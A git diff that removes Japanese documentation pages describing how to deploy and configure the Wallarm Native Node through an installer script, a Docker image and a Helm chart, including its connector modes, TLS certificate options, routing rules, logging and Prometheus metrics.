ノードのデプロイ後、次の手順として、デプロイ済みノードへトラフィックをルーティングするために、API管理プラットフォームまたはサービスへWallarmコードを適用します。 - - 1. sales@wallarm.comへ連絡し、使用するコネクターのWallarmコードバンドルを入手します。 - 1. プラットフォーム別の手順に従って、API管理プラットフォームへバンドルを適用します: - - * [MuleSoft Mule Gateway](../connectors/mulesoft.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [Cloudflare](../connectors/cloudflare.md#2-obtain-and-deploy-the-wallarm-worker-code) - * [Amazon CloudFront](../connectors/aws-lambda.md#2-obtain-and-deploy-the-wallarm-lambdaedge-functions) - * [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md#2-add-the-nodes-ssltls-certificate-to-the-policy-manager) - * [Fastly](../connectors/fastly.md#2-deploy-wallarm-code-on-fastly) -=== "TCPキャプチャ" - [デプロイのテストに進みます](../oob/tcp-traffic-mirror/deployment.md#step-5-test-the-solution)。 - -## ノード動作の検証 - -ノードがトラフィックを検出しているかを確認するには、ログを確認します: - -* Native Nodeのログは既定で`/opt/wallarm/var/log/wallarm/go-node.log`に書き込まれます。 -* データがWallarm Cloudへ送信されたか、攻撃が検出されたかなど、フィルタリングノードの[標準ログ](../../admin-en/configure-logging.md)は`/opt/wallarm/var/log/wallarm`ディレクトリにあります。 -* 追加のデバッグには、[`log.level`](all-in-one-conf.md#loglevel)パラメータを`debug`に設定します。 - -また、`http://:9000/metrics.`で公開されている[Prometheusメトリクス](../../admin-en/native-node-metrics.md)を確認してノードの動作を検証できます。 - -## インストーラーの起動オプション - -AMIには次の起動オプションを持つインストーラスクリプトが含まれています: - -* スクリプトの**ヘルプ**を表示: - - ``` - sudo ./aio-native-0.14.0.x86_64.sh -- --help - ``` -* インストーラーを**対話**モードで実行し、最初のステップで必要なモードを選択: - - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.14.0.x86_64.sh - ``` -* ノードをAPI Discoveryのみモードで使用できます。このモードでは、ノードの組み込み機構で検出される攻撃や追加構成が必要な攻撃（例: クレデンシャルスタッフィング、API仕様違反試行、denylistedおよびgraylisted IPからの悪意ある活動）を含む攻撃はローカルで検出・ブロック（有効化時）されますが、Wallarm Cloudへはエクスポートされません。Cloudに攻撃データが存在しないため、[Threat Replay Testing](../../vulnerability-detection/threat-replay-testing/overview.md)は動作しません。whitelisted IPからのトラフィックは許可されます。 - - 一方で、[API Discovery](../../api-discovery/overview.md)、[APIセッション追跡](../../api-sessions/overview.md)、[セキュリティ脆弱性の検出](../../about-wallarm/detecting-vulnerabilities.md)は引き続き完全に機能し、関連するセキュリティエンティティを検出してCloudへアップロードし、可視化します。 - - このモードは、まずAPIインベントリのレビューと機微なデータの特定を行い、その後に攻撃データのエクスポートを計画的に行いたい方を対象としています。ただし、Wallarmは攻撃データを安全に処理し、必要に応じて[機微な攻撃データのマスキング](../../user-guides/rules/sensitive-data-rule.md)を提供しているため、攻撃のエクスポートを無効化するケースは稀です。 - - API Discoveryのみモードを有効にするには: - - 1. `/etc/wallarm-override/env.list`ファイルを作成または修正します: - - ``` - sudo mkdir /etc/wallarm-override - sudo vim /etc/wallarm-override/env.list - ``` - - 次の変数を追加します: - - ``` - WALLARM_APID_ONLY=true - ``` - - 1. [ノードのインストール手順](#installation)に従います。 - - API Discoveryのみモードが有効な場合、`/opt/wallarm/var/log/wallarm/wcli-out.log`には次のメッセージが出力されます: - - ```json - {"level":"info","component":"reqexp","time":"2025-01-31T11:59:38Z","message":"requests export skipped (disabled)"} - ``` - - \ No newline at end of file diff --git a/docs/latest-ja/installation/native-node/docker-image.md b/docs/latest-ja/installation/native-node/docker-image.md deleted file mode 100644 index 0e34ead5eb..0000000000 --- a/docs/latest-ja/installation/native-node/docker-image.md +++ /dev/null @@ -1,146 +0,0 @@ -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-setup-img]: ../../images/waf-installation/se-connector-setup.png -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-token]: ../../user-guides/settings/api-tokens.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[self-hosted-connector-node-helm-conf]: ../connectors/self-hosted-node-conf/helm-chart.md - -# DockerイメージからNative Nodeをデプロイする - -NGINXに依存せずに動作する[Wallarm Native Node](../nginx-native-node-internals.md)は、一部のコネクタと組み合わせてのデプロイを想定して設計されています。公式DockerイメージからNative Nodeを起動し、コンテナ化されたサービス上で実行できます。 - -## ユースケース - -* 自己ホスト型のLinux OSマシン上で、MuleSoft [Mule](../connectors/mulesoft.md)または[Flex](../connectors/mulesoft-flex.md) Gateway、[Akamai](../connectors/akamai-edgeworkers.md)、[Cloudflare](../connectors/cloudflare.md)、[Amazon CloudFront](../connectors/aws-lambda.md)、[Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md)、[Fastly](../connectors/fastly.md)、[IBM DataPower](../connectors/ibm-api-connect.md)向けのコネクタソリューションの一部としてWallarmノードをデプロイする場合。 - - インストーラーを`connector-server`モードで使用します。 -* Istioで管理されるAPI向けに[gRPCベースの外部処理フィルタ](../connectors/istio.md)が必要な場合。 - - インストーラーを`envoy-external-filter`モードで使用します。 - -Native Node用のDockerイメージは、AWS ECSなどのコンテナオーケストレーションプラットフォームや、その他のDockerベース環境をすでに利用している場合に最適です。Wallarmノードはサービス内でDockerコンテナとして実行され、API管理プラットフォーム向けのセキュリティフィルタリングとトラフィック検査を提供します。 - -## 要件 - -* ホストシステムに[Docker](https://docs.docker.com/engine/install/)がインストールされていること -* API管理プラットフォームからコンテナ化環境へのインバウンドアクセス -* コンテナ化環境から以下へのアウトバウンドアクセス: - - * デプロイに必要なDockerイメージをダウンロードするための`https://hub.docker.com/r/wallarm` - * US/EUのWallarm Cloud向けの`https://us1.api.wallarm.com`または`https://api.wallarm.com` - * 攻撃検知ルールや[API specifications][api-spec-enforcement-docs]の更新ダウンロード、さらに[allowlisted, denylisted, or graylisted][ip-list-docs]の国・地域・データセンターに対する正確なIPの取得のための、以下のIPアドレス - - --8<-- "../include/wallarm-cloud-ips.md" -* Native Nodeを実行するECSインスタンスの前段にあるロードバランサーには、信頼できるSSL/TLS証明書が必要です -* 併せて、Wallarm ConsoleでAdministratorロールが付与されている必要があります - -## 制限事項 - -* ロードバランサーの保護に自己署名SSL証明書は使用できません。 -* [カスタムブロッキングページとブロッキングコード](../../admin-en/configuration-guides/configure-block-page-and-code.md)の構成はまだサポートされていません。 -* Wallarmルールによる[レート制限](../../user-guides/rules/rate-limiting.md)はサポートされていません。 -* [マルチテナンシー](../multi-tenant/overview.md)はまだサポートされていません。 - -## デプロイ - -### 1. Dockerイメージを取得します - -``` -docker pull wallarm/node-native-aio:0.17.1 -``` - -### 2. 設定ファイルを準備します - -Native Node用の最小構成で`wallarm-node-conf.yaml`ファイルを作成します: - -=== "connector-server" - ```yaml - version: 4 - - mode: connector-server - - connector: - address: ":5050" - ``` -=== "envoy-external-filter" - ```yaml - version: 4 - - mode: envoy-external-filter - - envoy_external_filter: - address: ":5080" - tls_cert: "/path/to/cert.crt" - tls_key: "/path/to/cert.key" - ``` - -[すべての設定パラメータ](all-in-one-conf.md)（DockerイメージとNative Nodeのall-in-oneインストーラーで同一です） - -### 3. Wallarmトークンを準備します - -ノードをインストールするには、Wallarm Cloudにノードを登録するためのトークンが必要です。トークンの準備手順: - -1. Wallarm Console → **Settings** → **API tokens**（[US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)）を開きます。 -1. 使用タイプが`Node deployment/Deployment`のAPIトークンを探すか作成します。 -1. このトークンをコピーします。 - -### 4. Dockerコンテナを起動します - -Dockerイメージを実行するには、次のコマンドを使用します。`wallarm-node-conf.yaml`ファイルをコンテナにマウントします。 - -=== "US Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='us1.api.wallarm.com' -v ./wallarm-node-conf.yaml:/opt/wallarm/etc/wallarm/go-node.yaml -p 80:5050 wallarm/node-native-aio:0.17.1 - ``` -=== "EU Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='api.wallarm.com' -v ./wallarm-node-conf.yaml:/opt/wallarm/etc/wallarm/go-node.yaml -p 80:5050 wallarm/node-native-aio:0.17.1 - ``` - -環境変数 | 説明| 必須 ---- | ---- | ---- -`WALLARM_API_TOKEN` | 使用タイプが`Node deployment/Deployment`のAPIトークンです。 | はい -`WALLARM_LABELS` | ノードインスタンスをグループ化するための`group`ラベルを設定します。例:
        `WALLARM_LABELS="group="`はノードインスタンスを``インスタンスグループ（既存。存在しない場合は作成されます）に配置します。 | はい -`WALLARM_API_HOST` | Wallarm APIサーバー:
        • US Cloudの場合は`us1.api.wallarm.com`
        • EU Cloudの場合は`api.wallarm.com`
        デフォルト: `api.wallarm.com`。 | はい -`WALLARM_APID_ONLY`（0.12.1以降） | このモードでは、トラフィックで検知された攻撃は（[有効化](../../admin-en/configure-wallarm-mode.md#available-filtration-modes)されていれば）ノードがローカルでブロックしますが、Wallarm Cloudへはエクスポートされません。一方で、[API Discovery](../../api-discovery/overview.md)や一部のその他機能は完全に動作し、APIインベントリを検出して可視化のためにCloudへアップロードします。このモードは、まずAPIインベントリを確認して機微データを特定し、そのうえで攻撃データのエクスポートを計画的に実施したい場合に適しています。ただし、Wallarmは攻撃データを安全に処理し、必要に応じて[機微な攻撃データのマスキング](../../user-guides/rules/sensitive-data-rule.md)も提供するため、攻撃データのエクスポートを無効化するケースは稀です。[詳細](../../installation/native-node/all-in-one.md#apid-only-mode)
        デフォルト: `false`。 | いいえ - -* `-p`オプションはホストとコンテナのポートをマッピングします: - - * 最初の値（80）は外部トラフィックに公開されるホスト側のポートです。 - * 2つ目の値（5050）はコンテナ側のポートで、`wallarm-node-conf.yaml`内の`connector.address`または`envoy_external_filter.address`の設定と一致させる必要があります。 -* 設定ファイルはコンテナ内で`/opt/wallarm/etc/wallarm/go-node.yaml`としてマウントする必要があります。 - -### 5. API管理サービスにWallarmコードを適用します - -ノードをデプロイしたら、トラフィックをデプロイ済みノードへルーティングするため、WallarmコードをAPI管理プラットフォームまたはサービスに適用します。 - -1. sales@wallarm.comに連絡し、コネクタ用のWallarmコードバンドルを入手します。 -1. プラットフォーム別の手順に従って、API管理プラットフォームにバンドルを適用します: - - * [MuleSoft Mule Gateway](../connectors/mulesoft.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [MuleSoft Flex Gateway](../connectors/mulesoft-flex.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [Akamai](../connectors/akamai-edgeworkers.md#2-obtain-the-wallarm-code-bundle-and-create-edgeworkers) - * [Cloudflare](../connectors/cloudflare.md#2-obtain-and-deploy-the-wallarm-worker-code) - * [Amazon CloudFront](../connectors/aws-lambda.md#2-obtain-and-deploy-the-wallarm-lambdaedge-functions) - * [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md#2-add-the-nodes-ssltls-certificate-to-the-policy-manager) - * [Fastly](../connectors/fastly.md#2-deploy-wallarm-code-on-fastly) - * [Envoy/Istio](../connectors/istio.md) - * [IBM DataPower](../connectors/ibm-api-connect.md) - -## ノード動作の検証 - -ノードがトラフィックを検知していることを確認するには、ログを確認できます: - -* Native Nodeのログはデフォルトで`/opt/wallarm/var/log/wallarm/go-node.log`に書き込まれ、追加の出力はstdoutにも出力されます。 -* データがWallarm Cloudへ送信されたか、検知した攻撃など、フィルタリングノードの[標準ログ](../../admin-en/configure-logging.md)は`/opt/wallarm/var/log/wallarm`ディレクトリにあります。 -* 追加のデバッグには、[`log.level`](all-in-one-conf.md#loglevel)パラメータを`debug`に設定します。 - -`http://:9000/metrics.`で公開される[Prometheusメトリクス](../../admin-en/native-node-metrics.md)を確認して、ノードの動作を検証することもできます。 - -## アップグレード - -ノードのアップグレードは[手順](../../updating-migrating/native-node/docker-image.md)に従います。 \ No newline at end of file diff --git a/docs/latest-ja/installation/native-node/helm-chart-conf.md b/docs/latest-ja/installation/native-node/helm-chart-conf.md deleted file mode 100644 index 6a9325a137..0000000000 --- a/docs/latest-ja/installation/native-node/helm-chart-conf.md +++ /dev/null @@ -1,543 +0,0 @@ -[us-cloud-docs]: ../../about-wallarm/overview.md#cloud -[eu-cloud-docs]: ../../about-wallarm/overview.md#cloud - -# HelmチャートでNative Nodeを構成する - -Helmチャートを使用してセルフホスト型の[Wallarm Native Node](../nginx-native-node-internals.md#native-node)をデプロイする際は、構成は`values.yaml`ファイルまたはCLIで指定します。本ドキュメントでは、利用可能な構成パラメータの概要を説明します。 - -デプロイ後に設定を変更するには、変更したいパラメータを指定して次のコマンドを使用します。 - -``` -helm upgrade --set config.api.token= wallarm/wallarm-node-native -n wallarm-node -``` - -## 基本設定 - -主に変更する可能性があるデフォルト`values.yaml`のWallarm固有の部分は次のとおりです。 - -```yaml -config: - api: - token: "" - host: api.wallarm.com - nodeGroup: "defaultNodeNextGroup" - - connector: - certificate: - enabled: true - certManager: - enabled: false - # issuerRef: - # name: letsencrypt-prod - # kind: ClusterIssuer - existingSecret: - enabled: false - # name: my-secret-name - customSecret: - enabled: false - # ca: LS0... - # crt: LS0... - # key: LS0... - - allowed_hosts: [] - - route_config: {} - # wallarm_application: -1 - # wallarm_mode: monitoring - # routes: - # - route: "/api/v1" - # wallarm_application: 1 - # - route: "/extra_api" - # wallarm_application: 2 - # - route: "/testing" - # wallarm_mode: monitoring - # - host: "example.com" - # route: /api - # wallarm_application: 3 - - proxy_headers: - # ルール1: 社内プロキシ - - trusted_networks: - - 10.0.0.0/8 - - 192.168.0.0/16 - original_host: - - X-Forwarded-Host - real_ip: - - X-Forwarded-For - - # ルール2: 外部エッジプロキシ（例: CDN、リバースプロキシ） - - trusted_networks: - - 203.0.113.0/24 - original_host: - - X-Real-Host - real_ip: - - X-Real-IP - - log: - pretty: false - level: info - log_file: stdout - access_log: - enabled: true - verbose: false - - aggregation: - serviceAddress: "[::]:3313" - -processing: - service: - type: LoadBalancer - port: 5000 -``` - -### config.api.token（必須） - -ノードをWallarm Cloudに接続するための[APIトークン](../../user-guides/settings/api-tokens.md)です。 - -APIトークンを生成するには: - -1. [US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)のWallarm Console → Settings → API tokensに移動します。 -1. 使用タイプが「Node deployment/Deployment」のAPIトークンを作成します。 - -### config.api.host - -Wallarm APIエンドポイントです。次のいずれかです: - -* `us1.api.wallarm.com`（[US Cloud][us-cloud-docs]向け） -* `api.wallarm.com`（[EU Cloud][eu-cloud-docs]向け、デフォルト） - -### config.api.nodeGroup - -新しくデプロイするノードを追加するフィルタリングノードグループ名を指定します。 - -デフォルト値: `defaultNodeNextGroup` - -### config.connector.mode - -Wallarmノードの動作モードです。次のいずれかです: - -* `connector-server`（デフォルト）: MuleSoftの[Mule](../connectors/mulesoft.md)または[Flex](../connectors/mulesoft-flex.md) Gateway、[Akamai](../connectors/akamai-edgeworkers.md)、[Cloudflare](../connectors/cloudflare.md)、[Amazon CloudFront](../connectors/aws-lambda.md)、[Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md)、[Fastly](../connectors/fastly.md)、[Kong API Gateway](../connectors/kong-api-gateway.md)、[IBM DataPower](../connectors/ibm-api-connect.md)の各コネクタ向けです。 -* `envoy-external-filter`: Istioで管理されるAPI向けの[gRPCベースの外部処理フィルタ](../connectors/istio.md)です。 - -### config.connector.certificate.enabled（必須） - -Wallarm Load Balancerが安全な通信のためにSSL/TLS証明書を使用するかどうかを制御します。 - -trueに設定する必要があり、通信には信頼できる証明書が必要です。 - -SSL/TLS通信の管理には、`certManager`、`existingSecret`、`customSecret`のいずれかの方式を使用できます。 - -#### certManager - -クラスターで[`cert-manager`](https://cert-manager.io/)を使用しており、SSL/TLS証明書の生成にそれを用いる場合は、このセクションに対応する設定を指定します。 - -設定例: - -```yaml -config: - connector: - certificate: - enabled: true - certManager: - enabled: true - issuerRef: - # cert-managerのIssuerまたはClusterIssuerの名前 - name: letsencrypt-prod - # Issuer（Namespaceスコープ）かClusterIssuer（クラスター全体）か - kind: ClusterIssuer -``` - -#### existingSecret - -同一Namespace内の既存のKubernetes SecretからSSL/TLS証明書を取得して使用できます。 - -設定例: - -```yaml -config: - connector: - certificate: - enabled: true - existingSecret: - enabled: true - # 証明書と秘密鍵を含むKubernetes Secretの名前 - name: my-secret-name -``` - -#### customSecret - -`customSecret`構成では、Kubernetes Secretやcert-managerなどの外部ソースに依存せず、構成ファイル内に直接証明書を定義できます。 - -証明書、秘密鍵、必要に応じてCAはBase64エンコード値で指定します。 - -設定例: - -```yaml -config: - connector: - certificate: - enabled: true - customSecret: - enabled: true - ca: LS0... - crt: LS0... - key: LS0... -``` - -### config.connector.allowed_hosts - -許可するホスト名の一覧です。 - -デフォルト値: すべてのホストが許可されます。 - -このパラメータはワイルドカード一致をサポートします: - -* `*` は区切り文字以外の任意の連続した文字列に一致します -* `?` は区切り文字以外の任意の1文字に一致します -* `'[' [ '^' ] { character-range } ']'` - -??? info "ワイルドカード一致の構文の詳細" - ``` - // パターンの構文は次のとおりです: - // - // pattern: - // { term } - // term: - // '*' 区切り文字以外の任意の連続した文字列に一致 - // '?' 区切り文字以外の任意の1文字に一致 - // '[' [ '^' ] { character-range } ']' - // 文字クラス（空であってはならない） - // c 文字cに一致（c != '*', '?', '\\', '['） - // '\\' c 文字cに一致 - // - // character-range: - // c 文字cに一致（c != '\\', '-', ']'） - // '\\' c 文字cに一致 - // lo '-' hi lo <= c <= hi の範囲の文字に一致 - // - // 一致は部分文字列ではなく、名前全体に対してパターンが一致することを要求します。 - ``` - -例: - -```yaml -config: - connector: - allowed_hosts: - - w.com - - "*.test.com" -``` - -### config.connector.route_config - -特定のルート向けの設定を指定する構成セクションです。 - -### config.connector.route_config.wallarm_application - -[WallarmアプリケーションID](../../user-guides/settings/applications.md)です。特定のルートでこの値を上書きできます。 - -デフォルト: `-1`。 - -### config.connector.route_config.wallarm_mode - -トラフィックの[フィルタレーションモード](../../admin-en/configure-wallarm-mode.md): `block`、`safe_blocking`、`monitoring`、`off`のいずれかです。OOBモードではトラフィックのブロッキングはサポートされません。 - -この値は特定のルートで上書きできます。 - -!!! info "`off`値の書式" - `off`値は"off"のように引用符で囲む必要があります。 - -デフォルト: `monitoring`。 - -### config.connector.route_config.routes - -ルートごとのWallarm設定を定義します。WallarmモードやアプリケーションIDを含みます。設定例: - -```yaml -config: - connector: - route_config: - wallarm_application: 10 - wallarm_mode: monitoring - routes: - - host: example.com - wallarm_application: 1 - routes: - - route: /app2 - wallarm_application: 2 - - host: api.example.com - route: /api - wallarm_application: 100 - - route: /testing - wallarm_mode: block -``` - -#### host - -ルートのホストを指定します。このパラメータは[`config.connector.allowed_hosts`](#configconnectorallowed_hosts)と同じワイルドカード一致をサポートします。 - -例: - -```yaml -config: - connector: - route_config: - wallarm_application: 10 - routes: - - host: "*.host.com" -``` - -#### routes.route または route - -特定のルートを定義します。ルートはNGINX風のプレフィックスで設定できます: - -```yaml -- route: [ = | ~ | ~* | ^~ | ]/location - # | | | | ^ プレフィックス（正規表現より低い優先度） - # | | | ^ プレフィックス（正規表現より高い優先度） - # | | ^ 正規表現（大文字小文字を区別しない） - # | ^ 正規表現（大文字小文字を区別する） - # ^ 完全一致 -``` - -例えば、完全一致のルートにのみ一致させるには: - -```yaml -- route: =/api/login -``` - -正規表現でルートに一致させるには: - -```yaml -- route: ~/user/[0-9]+/login.* -``` - -#### wallarm_application - -[WallarmアプリケーションID](../../user-guides/settings/applications.md)を設定します。特定のエンドポイントに対して`route_config.wallarm_application`を上書きします。 - -#### wallarm_mode - -ホスト固有のトラフィック[フィルタレーションモード](../../admin-en/configure-wallarm-mode.md): `block`、`safe_blocking`、`monitoring`、`off`のいずれかです。OOBモードではトラフィックのブロッキングはサポートされません。 - -!!! info "`off`値の書式" - `off`値は"off"のように引用符で囲む必要があります。 - -デフォルト: `monitoring`。 - -### config.connector.proxy_headers - -プロキシやロードバランサーを経由するトラフィックの場合に、Native NodeがオリジナルのクライアントIPとホストをどのように抽出するかを構成します。 - -* `trusted_networks`: 信頼するプロキシのIPレンジ（CIDR）です。`X-Forwarded-For`のようなヘッダーは、リクエストがこれらのネットワークから来た場合にのみ信頼します。 - - 省略した場合はすべてのネットワークを信頼します（非推奨）。 -* `original_host`: プロキシにより変更された場合の元の`Host`値を取得するために使用するヘッダーです。 -* `real_ip`: 実際のクライアントIPアドレスを抽出するために使用するヘッダーです。 - -プロキシの種類や信頼レベルごとに複数のルールを定義できます。 - -!!! info "ルールの評価順序" - 各リクエストに対して最初に一致したルールのみが適用されます。 - -Native Node 0.17.1以降でサポートされます。 - -例: - -```yaml -config: - connector: - proxy_headers: - # ルール1: 社内プロキシ - - trusted_networks: - - 10.0.0.0/8 - - 192.168.0.0/16 - original_host: - - X-Forwarded-Host - real_ip: - - X-Forwarded-For - - # ルール2: 外部エッジプロキシ（例: CDN、リバースプロキシ） - - trusted_networks: - - 203.0.113.0/24 - original_host: - - X-Real-Host - real_ip: - - X-Real-IP -``` - -### config.connector.log - -`config.connector.log.*`構成セクションはNative Node Helmチャートのバージョン0.10.0から利用可能です。以前はロギングは`config.connector.log_level`パラメータのみで管理されていました。 - -#### pretty - -エラーログとアクセスログの形式を制御します。可読性の高いログにするには`true`、JSONログにするには`false`を設定します。 - -デフォルト: `false`。 - -#### level - -ログレベルです。`debug`、`info`、`warn`、`error`、`fatal`を指定できます。 - -デフォルト: `info`。 - -#### log_file - -エラーログとアクセスログの出力先を指定します。`stdout`、`stderr`、またはログファイルへのパスを設定できます。 - -デフォルト: `stdout`。 - -#### access_log.enabled - -アクセスログを収集するかどうかを制御します。 - -デフォルト: `true`。 - -#### access_log.verbose - -アクセスログ出力に各リクエストの詳細情報を含めるかどうかを制御します。 - -デフォルト: `false`。 - -### config.aggregation.serviceAddress - -wstoreが受信接続を受け付けるアドレスとポートを指定します。 - -リリース0.15.1以降でサポートされます。 - -デフォルト値: `[::]:3313` - すべてのIPv4およびIPv6インターフェースのポート3313で待ち受けます。これは0.15.1以前のバージョンでも同様のデフォルト動作でした。 - -### processing.service.type - -Wallarmサービスのタイプです。次のいずれかです: - -* `LoadBalancer`: パブリックIPを持つロードバランサーとしてサービスを実行し、トラフィックを容易にルーティングします。 - - MuleSoftの[Mule](../connectors/mulesoft.md)または[Flex](../connectors/mulesoft-flex.md) Gateway、[Akamai](../connectors/akamai-edgeworkers.md)、[Cloudflare](../connectors/cloudflare.md)、[Amazon CloudFront](../connectors/aws-lambda.md)、[Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md)、[Fastly](../connectors/fastly.md)、[IBM DataPower](../connectors/ibm-api-connect.md)、[Istio](../connectors/istio.md)の各コネクタに適しています。 -* `ClusterIP`: パブリックIPを公開せず、内部トラフィック向けに使用します。 - - これは[Kong API Gateway](../connectors/kong-api-gateway.md)コネクタに適しています。 - -デフォルト: `ClusterIP`。 - -### processing.service.port - -Wallarmサービスのポートです。 - -デフォルト: `5000`。 - -## 高度な設定 - -追加で変更する可能性があるデフォルト`values.yaml`のWallarm固有の部分は次のとおりです。 - -```yaml -config: - connector: - http_inspector: - workers: auto - api_firewall_enabled: true - wallarm_dir: /opt/wallarm/etc/wallarm - -processing: - metrics: - enabled: true - port: 9090 -``` - -### config.connector.input_filters - -どの受信リクエストをNative Nodeが「検査」するか、または「バイパス」するかを定義します。画像やスクリプト、ヘルスチェックなど無関係なトラフィックを無視することでCPU使用率を低減します。 - -デフォルトでは、すべてのリクエストを検査します。 - -!!! warning "検査をスキップしたリクエストは分析もWallarm Cloudへの送信もされません" - その結果、スキップしたリクエストはメトリクス、API Discovery、API sessions、脆弱性検出などに表示されません。Wallarmの各機能は適用されません。 - -**互換性** - -* Native Node 0.16.1以降 - -**フィルタリングロジック** - -フィルタリングロジックは次の2つのリストに基づきます: - -* `inspect`: ここにあるいずれかのフィルタに一致したリクエストのみ検査します。 - - 省略または空の場合は、`bypass`で除外されない限り、すべてのリクエストを検査します。 -* `bypass`: ここにあるフィルタに一致したリクエストは、`inspect`に一致しても検査しません。 - -**フィルタ形式** - -各フィルタは次を含むオブジェクトです: - -* `path`または`url`: リクエストパスに一致させるための正規表現（どちらもサポートされ、同等です）。 -* `headers`: ヘッダー名をキー、値に一致させる正規表現を値とするマップです。 - -すべての正規表現は[RE2構文](https://github.com/google/re2/wiki/Syntax)に従う必要があります。 - -**例** - -=== "トークンで許可し、静的コンテンツをスキップ" - この設定は、`Authorization`ヘッダーに`Bearer`トークンを含むバージョン付きAPIエンドポイント（例: `/api/v1/...`）へのリクエストのみを検査します。 - - 画像、スクリプト、スタイルなどの静的ファイルや、ブラウザー発のHTMLページロードに対するリクエストはバイパスします。 - - ```yaml - config: - connector: - input_filters: - inspect: - - path: "^/api/v[0-9]+/.*" - headers: - Authorization: "^Bearer .+" - bypass: - - path: ".*\\.(png|jpg|css|js|svg)$" - - headers: - accept: "text/html" - ``` -=== "ドメインで許可し、ヘルスチェックをスキップ" - この設定は`Host: api.example.com`のリクエストのみを検査し、その他はすべてスキップします。 - - `/healthz`エンドポイントへのリクエストは、検査対象のホストに一致していても常にバイパスします。 - - ```yaml - config: - connector: - input_filters: - inspect: - - headers: - host: "^api\\.example\\.com$" - bypass: - - path: "^/healthz$" - ``` - -### config.connector.http_inspector.workers - -Wallarmワーカー数です。 - -デフォルト: `auto`（CPUコア数と同数に自動設定）。 - -### config.connector.http_inspector.api_firewall_enabled - -[API Specification Enforcement](../../api-specification-enforcement/overview.md)を有効にするかどうかを制御します。この機能を有効化しても、必要なサブスクリプションやWallarm Console UIでの設定に代わるものではない点にご注意ください。 - -デフォルト: `true`。 - -### config.connector.http_inspector.wallarm_dir - -ノードの構成ファイルがあるディレクトリパスを指定します。通常、このパラメータを変更する必要はありません。支援が必要な場合は[Wallarmサポートチーム](mailto:support@wallarm.com)にお問い合わせください。 - -デフォルト: `/opt/wallarm/etc/wallarm`。 - -### processing.metrics.enabled - -[Prometheusメトリクス](../../admin-en/configure-statistics-service.md#usage)を有効にするかどうかを制御します。このパラメータは`true`に設定する必要があります。無効にするとWallarmノードは正しく機能しません。 - -デフォルト: `true`。 - -### processing.metrics.port - -Prometheusメトリクスを公開するアドレスとポートを設定します。これらのメトリクスには`/metrics`エンドポイントでアクセスします。 - -デフォルト: `:9000`（すべてのネットワークインターフェースのポート9000）。 diff --git a/docs/latest-ja/installation/native-node/helm-chart.md b/docs/latest-ja/installation/native-node/helm-chart.md deleted file mode 100644 index df23426c69..0000000000 --- a/docs/latest-ja/installation/native-node/helm-chart.md +++ /dev/null @@ -1,256 +0,0 @@ -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-setup-img]: ../../images/waf-installation/se-connector-setup.png -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-token]: ../../user-guides/settings/api-tokens.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[self-hosted-connector-node-helm-conf]: ../connectors/self-hosted-node-conf/helm-chart.md - -# HelmチャートでNative Nodeをデプロイする - -NGINXに依存せず動作する[Wallarm Native Node](../nginx-native-node-internals.md)は、いくつかのコネクタと併用してデプロイするよう設計されています。Helmチャートを使用して、Kubernetesクラスター内でNative Nodeを独立したサービスまたはロードバランサーとして実行できます。 - -## ユースケース - -以下のケースでHelmチャートを用いてNative Nodeをデプロイします。 - -* MuleSoftの[Mule](../connectors/mulesoft.md)または[Flex](../connectors/mulesoft-flex.md) Gateway、[Akamai](../connectors/akamai-edgeworkers.md)、[Cloudflare](../connectors/cloudflare.md)、[Amazon CloudFront](../connectors/aws-lambda.md)、[Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md)、[Fastly](../connectors/fastly.md)、[IBM DataPower](../connectors/ibm-api-connect.md)向けのWallarmコネクタをデプロイし、ノードをセルフホストする必要がある場合。すでにOpenShift、Amazon EKS、Azure AKS、Google GKEなどのKubernetes管理プラットフォームを使用している場合に最適です。ノードはパブリックIPを持つロードバランサーとして構成され、容易にトラフィックをルーティングできます。 - - この場合はNodeを`connector-server`モードで使用します。 -* Istioで管理されるAPI向けにインラインの[gRPCベースの外部処理フィルター](../connectors/istio.md)が必要な場合。ノードはパブリックIPを持つロードバランサーとして構成され、容易にトラフィックをルーティングできます。 - - この場合はNodeを`envoy-external-filter`モードで使用します。 -* [Kong API Gateway](../connectors/kong-api-gateway.md)向けのWallarmコネクタをデプロイする場合。ノードはパブリックIPを公開せず、内部トラフィック向けにClusterIPタイプでデプロイされます。 - - この場合はNodeを`connector-server`モードで使用します。 - -## 要件 - -HelmチャートでNative NodeをデプロイするKubernetesクラスターは、以下の条件を満たす必要があります。 - -* [Helm v3](https://helm.sh/)パッケージマネージャーがインストールされていること。 -* APIが稼働するAPIゲートウェイまたはCDNからのインバウンドアクセス。 -* 以下へのアウトバウンドアクセス: - - * `https://charts.wallarm.com` からWallarmのHelmチャートをダウンロード - * 